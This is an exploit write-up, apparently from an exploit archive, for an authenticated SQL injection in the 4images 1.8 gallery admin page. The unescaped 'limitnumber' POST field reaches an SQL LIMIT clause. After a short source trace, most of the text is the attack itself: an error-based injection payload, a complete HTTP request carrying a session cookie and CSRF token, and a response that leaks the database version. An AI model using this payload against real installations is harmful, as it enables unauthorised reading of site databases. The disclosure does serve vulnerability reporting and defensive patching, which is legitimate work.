# Exploit Title: 4images 1.8 - 'limitnumber' SQL Injection (Authenticated)
# Exploit Author: Andrey Stoykov
# Software Link: https://www.4homepages.de/download-4images
# Version: 1.8
# Tested on: Linux



Source Analysis:


Line #658

- User action defined

if ($action == "findimages") {


Line #661

- Vulnerable condition

$condition = "1=1";


Line #654

- Default limit 50

show_input_row($lang['results_per_page'], "limitnumber", 50);



Line #736

- Define limit start

$limitstart = (isset($HTTP_POST_VARS['limitstart'])) ? trim($HTTP_POST_VARS['limitstart']) : "";
if ($limitstart == "") {
  $limitstart = 0;


Line #743

- Define limit number

$limitnumber = trim($HTTP_POST_VARS['limitnumber']);
  if ($limitnumber == "") {
    $limitnumber = 5000;
  }


Line #763

- Define user input variables

$limitfinish = $limitstart + $limitnumber;



Line #786

- SQL statement

$sql = "SELECT i.image_id, i.cat_id, i.user_id, i.image_name, i.image_media_file, i.image_date".get_user_table_field(", u.", "user_name")."
            FROM ".IMAGES_TABLE." i
            LEFT JOIN ".USERS_TABLE." u ON (".get_user_table_field("u.", "user_id")." = i.user_id)
            WHERE $condition
            ORDER BY $orderby $direction

			// Vulnerable user input of limitnumber
            LIMIT $limitstart, $limitnumber";


Line #852

- Display user input defined previously

show_hidden_input("limitnumber", $limitnumber);



Exploit POC:


1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-


HTTP Request:

POST /4images/admin/images.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406
Origin: http://127.0.0.1
DNT: 1
Connection: close
Referer: http://127.0.0.1/4images/admin/images.php?action=modifyimages
Cookie: 4images_lastvisit=1628349389; 4images_userid=1; sessionid=7ndqdr2u04gqs9gdme12vhco87
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: frame
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

__csrf=7aa2dd8597dfe4302237bbfeb200fbd8&action=findimages&image_id=&image_name=&image_description=&image_keywords=&cat_id=0&image_media_file=&image_thumb_file=&dateafter=&datebefore=&downloadsupper=&downloadslower=&ratingupper=&ratinglower=&votesupper=&voteslower=&hitsupper=&hitslower=&orderby=i.image_name&direction=ASC&limitnumber=1+procedure+analyse(extractvalue(rand(),concat(0x3a,version())),1,1)--+-



HTTP Response:

HTTP/1.1 200 OK
...
<b>XPATH syntax error: ':10.1.37-MariaDB'</b>